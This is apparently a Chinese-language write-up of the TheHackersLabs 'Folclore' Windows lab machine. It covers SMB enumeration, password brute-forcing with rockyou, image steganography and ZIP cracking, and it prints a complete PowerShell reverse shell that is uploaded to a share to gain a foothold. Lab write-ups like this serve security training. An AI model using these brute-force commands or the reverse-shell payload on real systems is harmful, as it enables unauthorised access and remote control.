Folclore

https://labs.TheHackersLabs.com/machine/123

Recon

PortScan

➜  Folclore nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 16:14 CST
Nmap scan report for 192.168.56.1
Host is up (0.00045s latency).
MAC Address: 0A:00:27:00:00:08 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00025s latency).
MAC Address: 08:00:27:45:5E:64 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00037s latency).
MAC Address: 08:00:27:EE:0F:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

仅仅两个端口

➜  Folclore nmap -sT -min-rate 10000 -p- 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 16:15 CST
Nmap scan report for 192.168.56.101
Host is up (0.0013s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:EE:0F:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.54 seconds

➜  Folclore nmap -sT -A -p 139,445 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 16:17 CST
Nmap scan report for 192.168.56.101
Host is up (0.00045s latency).

PORT    STATE SERVICE       VERSION
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:EE:0F:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 11
OS CPE: cpe:/o:microsoft:windows_11
OS details: Microsoft Windows 11
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-08-05T08:17:48
|_  start_date: N/A
|_nbstat: NetBIOS name: FOLCLORE, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:ee:0f:0e (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_clock-skew: -1s

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.56.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.03 seconds

SMB 枚举

SMB 匿名枚举

➜  Folclore nxc smb 192.168.56.101 -u anonymous -p '' --shares
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False)
SMB         192.168.56.101  445    FOLCLORE         [+] Folclore\anonymous: (Guest)
SMB         192.168.56.101  445    FOLCLORE         [*] Enumerated shares
SMB         192.168.56.101  445    FOLCLORE         Share           Permissions     Remark
SMB         192.168.56.101  445    FOLCLORE         -----           -----------     ------
SMB         192.168.56.101  445    FOLCLORE         ADMIN$                          Admin remota
SMB         192.168.56.101  445    FOLCLORE         C$                              Recurso predeterminado
SMB         192.168.56.101  445    FOLCLORE         Dia de Muertos                  Al final, todos somos polvo y hueso.
SMB         192.168.56.101  445    FOLCLORE         IPC$            READ            IPC remota
SMB         192.168.56.101  445    FOLCLORE         Libertad                        El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
SMB         192.168.56.101  445    FOLCLORE         Lluvia                          Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
SMB         192.168.56.101  445    FOLCLORE         Oro                             ¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
SMB         192.168.56.101  445    FOLCLORE         Santuario                       El Refugio de Ixchel
SMB         192.168.56.101  445    FOLCLORE         Viento                          El viento sagrado ejecutará la tarea a su debido tiempo

但是并不能下载任何东西

➜  Folclore nxc smb 192.168.56.101 -u anonymous -p '' -M spider_plus -o DOWNLOAD_FLAG=true
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [+] Folclore\anonymous: (Guest)
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] Started module spidering_plus with the following options:
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*]     STATS_FLAG: True
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         192.168.56.101  445    FOLCLORE         [*] Enumerated shares
SMB         192.168.56.101  445    FOLCLORE         Share           Permissions     Remark
SMB         192.168.56.101  445    FOLCLORE         -----           -----------     ------
SMB         192.168.56.101  445    FOLCLORE         ADMIN$                          Admin remota
SMB         192.168.56.101  445    FOLCLORE         C$                              Recurso predeterminado
SMB         192.168.56.101  445    FOLCLORE         Dia de Muertos                  Al final, todos somos polvo y hueso.
SMB         192.168.56.101  445    FOLCLORE         IPC$            READ            IPC remota
SMB         192.168.56.101  445    FOLCLORE         Libertad                        El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
SMB         192.168.56.101  445    FOLCLORE         Lluvia                          Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
SMB         192.168.56.101  445    FOLCLORE         Oro                             ¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
SMB         192.168.56.101  445    FOLCLORE         Santuario                       El Refugio de Ixchel
SMB         192.168.56.101  445    FOLCLORE         Viento                          El viento sagrado ejecutará la tarea a su debido tiempo
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/192.168.56.101.json".
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] SMB Shares:           9 (ADMIN$, C$, Dia de Muertos, IPC$, Libertad, Lluvia, Oro, Santuario, Viento)
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] SMB Readable Shares:  1 (IPC$)
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] SMB Filtered Shares:  1
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] Total folders found:  0
SPIDER_PLUS 192.168.56.101  445    FOLCLORE         [*] Total files found:    0

但可以注意到描述中有东西

ADMIN$                          Admin remota
C$                              Recurso predeterminado
Dia de Muertos                  Al final, todos somos polvo y hueso.
IPC$            READ            IPC remota
Libertad                        El secreto está en quien se atreve a buscarlo; sigue tu camino sin miedo.
Lluvia                          Presta atención, pues en esta imagen el camino se revela sólo a quien sabe escuchar el trueno
Oro                             ¿Buscas llegar a Quetzalcóatl? Aquí inicia tu camino.
Santuario                       El Refugio de Ixchel
Viento                          El viento sagrado ejecutará la tarea a su debido tiempo

ADMIN$ - 远程管理员 C$ - 默认资源亡灵节 - 最终，我们都会化为尘土和白骨。 IPC$ - 读取远程IPC 自由 - 秘密在于那些敢于追寻的人；无所畏惧地追随你的道路。雨 - 请注意，在这幅图中，只有懂得聆听雷声的人才能找到道路。金 - 你想到达羽蛇神吗？你的道路从这里开始。圣所 - 伊克切尔的避难所风 - 神圣的风会在适当的时候完成任务。

用户枚举

用户枚举，PS：之前一直卡在上边，因为没想到要通过暴力破解，因为我觉得会有密码最大阈值（

➜  Folclore nxc smb 192.168.56.101 -u guest -p '' --rid-brute                      
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [+] Folclore\guest: (Guest)
SMB         192.168.56.101  445    FOLCLORE         500: FOLCLORE\Administrador (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         501: FOLCLORE\Invitado (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         503: FOLCLORE\DefaultAccount (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         504: FOLCLORE\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         513: FOLCLORE\Ninguno (SidTypeGroup)
SMB         192.168.56.101  445    FOLCLORE         1001: FOLCLORE\Quetzalcoatl (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         1003: FOLCLORE\El_charro_negro (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         1004: FOLCLORE\Ix_Chel (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         1005: FOLCLORE\Tlaloc (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         1006: FOLCLORE\La_mulata_de_Cordoba (SidTypeUser)
SMB         192.168.56.101  445    FOLCLORE         1007: FOLCLORE\La_Catrina (SidTypeUser)

使用得到的用户名进行密码爆破

➜  Folclore cat user.txt                                                        
Administrador
Invitado
DefaultAccount
WDAGUtilityAccount
Ninguno
Quetzalcoatl
El_charro_negro
Ix_Chel
Tlaloc
La_mulata_de_Cordoba
La_Catrina

经过需求尝试后，发现 grep '[+]' 无法匹配出来，因为账户密码过期了.. 需要匹配 grep -v 'STATUS_LOGON_FAILURE'

➜  Folclore nxc smb 192.168.56.101 -u user.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding --continue-on-success | grep -v 'STATUS_LOGON_FAILURE' 
SMB                      192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB                      192.168.56.101  445    FOLCLORE         [-] Folclore\El_charro_negro:abc123 STATUS_PASSWORD_EXPIRED

为了继续操作，通过图形化界面对密码进行了修改

➜  Folclore nxc smb 192.168.56.101 -u el_charro_negro -p abc1234                                                                                             
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [+] Folclore\el_charro_negro:abc1234

图片隐写 - 1

通过该用户枚举 SMB，能得到一张照片

盲猜是图片隐写了

➜  Folclore binwalk -Me --run-as=root El_Charro_Negro.jpeg                              

Scan Time:     2025-09-24 17:32:08
Target File:   /root/Desktop/TheHackersLabs/Folclore/El_Charro_Negro.jpeg
MD5 Checksum:  97f1dd191d3d9217ee0147f15a700c4f
Signatures:    436

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

WARNING: One or more files failed to extract: either no utility was 
found or it's unimplemented

➜  Folclore foremost El_Charro_Negro.jpeg   
Processing: El_Charro_Negro.jpeg
|*|

➜  Folclore exiftool El_Charro_Negro.jpeg 
ExifTool Version Number         : 13.25
File Name                       : El_Charro_Negro.jpeg
Directory                       : .
File Size                       : 50 kB
File Modification Date/Time     : 2025:09:24 17:29:12+08:00
File Access Date/Time           : 2025:09:24 17:30:13+08:00
File Inode Change Date/Time     : 2025:09:24 17:29:12+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Y Cb Cr Positioning             : Centered
Copyright                       : El camino es largo pero no complicado. Busca a Ix Chel; ella tiene la siguiente pista aqui tienes la clave: 4+9Ii1wK
Image Width                     : 736
Image Height                    : 981
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 736x981
Megapixels                      : 0.722

得到一个提示：

给出一个字符串 4+9Ii1wK ，估计是个密码

➜  Folclore nxc smb 192.168.56.101 -u user.txt -p '4+9Ii1wK' --ignore-pw-decoding                                               
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\Quetzalcoatl:4+9Ii1wK STATUS_LOGON_FAILURE 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\El_charro_negro:4+9Ii1wK STATUS_LOGON_FAILURE 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\Ix_Chel:4+9Ii1wK STATUS_PASSWORD_EXPIRED 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\Tlaloc:4+9Ii1wK STATUS_LOGON_FAILURE 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\La_mulata_de_Cordoba:4+9Ii1wK STATUS_LOGON_FAILURE 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\La_Catrina:4+9Ii1wK STATUS_LOGON_FAILURE

是 Ix_Chel 的密码，不过也过期了… 重复上边的操作

图片隐写 - 2

然后再次枚举 SMB

得到一个 TXT 文件，又是一个凭据 677Kn$q

➜  Folclore cat La\ clave\ de\ Kukulcán.txt           
Recuerdo cuando conocí a Kukulcán, 
la serpiente emplumada que otros llaman Quetzalcóatl; 
su mirada guardaba el misterio del viento y la sabiduría, 
y con una sonrisa me confió que su clave más preciada tenía solo ocho caracteres, 
sencilla pero poderosa, como él mismo. Nuestros caminos se entrelazan: 
yo, guardiana de la luna y la vida; é     l, 
portador del cielo y el conocimiento, unidos bajo el manto eterno de las estrellas. 
Ahora, sigue adelante, porque Quetzalcóatl te espera. 
Continua buscando a Tláloc,te despejare el camino entregá     
ndote su clave: 677Kn$q."

密码是用户 Tlaloc 的

➜  Folclore nxc smb 192.168.56.101 -u Tlaloc -p '677Kn$q' --ignore-pw-decoding
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\Tlaloc:677Kn$q STATUS_PASSWORD_EXPIRED

枚举 SMB

照片 ++

盲猜还是隐写，直接通过 stegseek 可以拿到文件

➜  Folclore stegseek Tlaloc.jpg 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "knight"
[i] Original filename: "Las primeras señales.txt".
[i] Extracting to "Tlaloc.jpg.out".

凭证 ++

➜  Folclore cat Tlaloc.jpg.out 
He conseguido estos últimos dos caracteres para la clave de Kukulcán, 
la serpiente emplumada que llaman Quetzalcóatl: 
%/. Te los entrego para que completes tu búsqueda. 
Además, aquí tienes otra clave, 
aunque debo confesar que no recuerdo a quién pertenece exactamente: 
45yD#k7. Confí     a en tu instinto para usarla sabiamente.

ZIP crack

是用户 La_mulata_de_Cordoba 的凭据

➜  Folclore nxc smb 192.168.56.101 -u La_mulata_de_Cordoba -p '45yD#k7'
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB         192.168.56.101  445    FOLCLORE         [-] Folclore\La_mulata_de_Cordoba:45yD#k7 STATUS_PASSWORD_EXPIRED

再枚举 SMB ，一个 txt 一个 ZIP

TXT 得到一个账户 La_Catrina:3nM93{S#

➜  Folclore cat Mi_amiga.txt                                                   
Mi amiga ‘La Catrina’ me ha dejado su cuenta para que le ayude con algunos de sus trabajitos de vez en cuando. 
Escribiré la clave aquí para no olvidarla: 3nM93{S#

Zip 需要密码

➜  Folclore unzip Pacto.zip 
Archive:  Pacto.zip
   skipping: Pacto.txt               need PK compat. v5.1 (can do v4.6)

通过 John 进行爆破

➜  Folclore zip2john Pacto.zip > hash
➜  Folclore john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 238 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celina           (Pacto.zip/Pacto.txt)     
1g 0:00:00:00 DONE (2025-09-24 18:26) 2.564g/s 42010p/s 42010c/s 42010C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

7z 进行解压

➜  Folclore 7z x Pacto.zip 

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=zh_CN.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 432 bytes (1 KiB)

Extracting archive: Pacto.zip
--
Path = Pacto.zip
Type = zip
Physical Size = 432

    
Enter password (will not be echoed):
Everything is Ok

Size:       358
Compressed: 432

得到一个神秘字符串 J9c

➜  Folclore cat Pacto.txt 
Has surcado sendas que pocos se atreven a cruzar, 
pero tu viaje no concluye todavía. Invocando mis artes prohibidas, 
logré hechizar a la serpiente emplumada y robarle apenas el inicio de su secreto: 
sólo tres caracteres fui capaz de obtener. 
Ahora los deposito en tus manos, 
pero escucha el viento y no olvides la deuda que ahora te ata a mi sombra: J9c.

我们检查一下上面得到的用户能做的事情，还是一个 txt

➜  Folclore cat Ultimo_mensaje.txt 
Solo puedo darte el quinto carácter de su clave: ‘U’. 
Los demás caracteres que faltan deberás encontrarlos por tu cuenta, 
aunque no debe ser tan difícil; solo son números o letras. 
Confía en tu ingenio y no olvides que el misterio siempre se revela a quien persevera.

密码爆破

集合上边的得到几个txt，得到密码应该是 J9c?U?%/，第四个字母需要我们进行爆破

➜  Folclore for char1 in {a..z} {A..Z} {0..9}; do printf "J9c%sU%s%%/\n" "$char1" "$char1"; done > wordlist.txt

得到凭据 Quetzalcoatl:J9c7U7%/

➜  Folclore nxc smb 192.168.56.101 -u user.txt -p wordlist.txt --ignore-pw-decoding --continue-on-success | grep -v 'STATUS_LOGON_FAILURE'
SMB                      192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False) 
SMB                      192.168.56.101  445    FOLCLORE         [+] Folclore\Ninguno:J9caUa%/ (Guest)
SMB                      192.168.56.101  445    FOLCLORE         [+] Folclore\Quetzalcoatl:J9c7U7%/

SMB 枚举…

xxxxx

查看得到的 txt

➜  Folclore cat /root/.nxc/modules/nxc_spider_plus/192.168.56.101/Viento/Serpiente\ Emplumada.txt 
Has recorrido con valentía y sabiduría un sendero lleno de retos; te felicito, guerrero del destino.
Ahora, confía en mí, Quetzalcóatl, la serpiente emplumada, pues seré yo quien te otorgue el acceso necesario. 
Solo ejecutaré una vez aquel archivo PowerShell que decidas subir, para abrir el portal hacia lo que buscas. 
Que esta acción sea el puente que te lleve a la verdad escondida entre los vientos y las estrellas.#

表示我们可以上传 Powershell 文件一次

将下面的代码保存为 xxx.ps1 然后进行上传

$client = New-Object Net.Sockets.TCPClient('192.168.56.5',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

smbclient //192.168.56.101/viento -U Quetzalcoatl%'J9c7U7%/'
put shell.ps1

等待弹回来

读取 User.txt

PS C:\Users\Quetzalcoatl\Desktop> type User.txt
456e20656c207669656e746f2079616365206c6120766572646164

为了方便操作迁移到 msf

上来后通过 winpeas 等枚举了许多，但是没找到可以利用的

最后可以在 Downloads\Actualizacion 中找到管理员密码

C:\Users\Quetzalcoatl\Downloads\Actualizacion>type Venganza.txt
type Venganza.txt
He conseguido la clave del administrador!!!
La guardare para no olvidarla: xxxxxxxx

➜  Folclore nxc smb 192.168.56.101 -u 'administrador' -p 'xxxxxx*'                        
SMB         192.168.56.101  445    FOLCLORE         [*] Windows 10 / Server 2019 Build 19041 (name:FOLCLORE) (domain:Folclore) (signing:False) (SMBv1:False)
SMB         192.168.56.101  445    FOLCLORE         [+] Folclore\administrador:xxxxxx (Pwn3d!)

拿 root.txt ，直接读就算了，懒得拿 shell 了

总结

体验不算好

TheHackersLabs - Folclore